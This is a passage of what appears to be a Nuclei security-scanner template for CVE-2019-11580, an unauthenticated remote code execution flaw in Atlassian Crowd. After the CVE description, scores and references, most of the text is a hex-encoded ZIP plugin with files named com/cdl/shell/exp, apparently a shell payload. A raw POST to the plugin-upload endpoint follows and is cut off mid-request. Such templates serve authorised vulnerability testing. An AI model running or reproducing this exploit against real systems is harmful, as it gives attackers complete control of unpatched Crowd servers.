id: CVE-2019-11580 info: name: Atlassian Crowd and Crowd Data Center - Unauthenticated Remote Code Execution author: dwisiswant0 severity: critical description: Atlassian Crowd and Crowd Data Center is susceptible to a remote code execution vulnerability because the pdkinstall development plugin is incorrectly enabled in release builds. Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected system, leading to complete compromise of the system. remediation: | Upgrade to Atlassian Crowd and Crowd Data Center version 3.4.3 or later to mitigate this vulnerability. reference: - https://github.com/jas502n/CVE-2019-11580 - https://jira.atlassian.com/browse/CWD-5388 - https://nvd.nist.gov/vuln/detail/CVE-2019-11580 - http://packetstormsecurity.com/files/163810/Atlassian-Crowd-pdkinstall-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-11580 epss-score: 0.97457 epss-percentile: 0.99952 cpe: cpe:2.3:a:atlassian:crowd:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: atlassian product: crowd shodan-query: http.component:"Atlassian Jira" tags: cve,cve2019,packetstorm,kev,atlassian,rce,intrusive,unauth variables: plugin: '{{hex_decode("504b0304140000000800033f2557544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c555409000316dff66410e4f66475780b000104e803000004e80300007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a0000000000033f255700000000000000000000000004001c00636f6d2f555409000316dff664bae3f66475780b000104e803000004e8030000504b03040a0000000000033f255700000000000000000000000008001c00636f6d2f63646c2f555409000316dff664bae3f66475780b000104e803000004e8030000504b03040a0000000000854225570000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f5554090003b9e4f664b9e4f66475780b000104e803000004e8030000504b0304140000000800bd422557a3de4c61670100004602000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c617373555409000326e5f664b9e4f66475780b000104e803000004e80300008d51c94e0241107d25cb208c22e2bea05e0c18b1c1c4a8c17821b824440d183c237470cc3883330df25b5e347af003fc2863b5b870523be95a5ebfeaaa7efdfaf6fc02601bcb51849188611cc90826a298c4948169033384f09ee5586a9f1048676a8460d16d4a42bc6c39f2a4737329bdf3faa5cd48a8e91e4a45a8a4cbd7f56ebd277ce9756da9c495526d71c4a6da072af2b6237d55f893e6b75dc79705dd355aea35645b590c1898e5bcea76bc863cb074e788ecb537f465260c440ccc9998c70261b4582b653773f9dd6c3ebfb59333b06822852542a2e1de8846d316fe95b46dc1e584d4efd310929a202c571c9f7e0f4358fddf2308c32da92e3c4b498f309dce94bf6e3bf32ce7f3a030d064006669ef744098ec4b2becbad31255c59416ab831584f8f7f41a026909d80e73b6c89ed887d61e41f71cb06e6cc31fa0b631985ca2a969f601f6e6fa138608e38107047f2aa27c0ae6c5381ae128c8f828eff847cbb177504b03041400000008003a422557483e79dabf0000000f01000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000330e4f66430e4f66475780b000104e803000004e8030000558e416bc3300c85effe15a2a7642ca2290c36721c61eda9d0417bf61cd1787363d75293c0c87fafdbf5903d1008bdf73d14b4f9d14702e34f681a87dc92739552f6147c14f8d6bd1e9129f68e045b91804fd5dc44eb71b3ad474341acef12192e5fce1a304e33038d218d50d730ac13fdf9d704bf4a41d223db7bdb40e33f48b2596847e70bb140a4f333fcbb73f01d5332380769a31f18663fa472782825f0487288562866390eb7255bbcefeb62b52cdf8ab27c795d2ef2ea0e4c6a5257504b01021e03140000000800033f2557544c2527eb00000004020000140018000000000001000000fd810000000061746c61737369616e2d706c7567696e2e786d6c555405000316dff66475780b000104e803000004e8030000504b01021e030a0000000000033f2557000000000000000000000000040018000000000000001000fd4139010000636f6d2f555405000316dff66475780b000104e803000004e8030000504b01021e030a0000000000033f2557000000000000000000000000080018000000000000001000fd4177010000636f6d2f63646c2f555405000316dff66475780b000104e803000004e8030000504b01021e030a0000000000854225570000000000000000000000000e0018000000000000001000fd41b9010000636f6d2f63646c2f7368656c6c2f5554050003b9e4f66475780b000104e803000004e8030000504b01021e03140000000800bd422557a3de4c616701000046020000170018000000000000000000b48101020000636f6d2f63646c2f7368656c6c2f6578702e636c617373555405000326e5f66475780b000104e803000004e8030000504b01021e031400000008003a422557483e79dabf0000000f010000160018000000000001000000b481b9030000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000330e4f66475780b000104e803000004e8030000504b05060000000006000600ff010000c80400000000")}}' http: - raw: - | POST /crowd/admin/uploadplugin.action HTTP/2 Host: {{Hostname}} Accept-Encoding: gzip, deflate Content-Type: multipart/mixed;
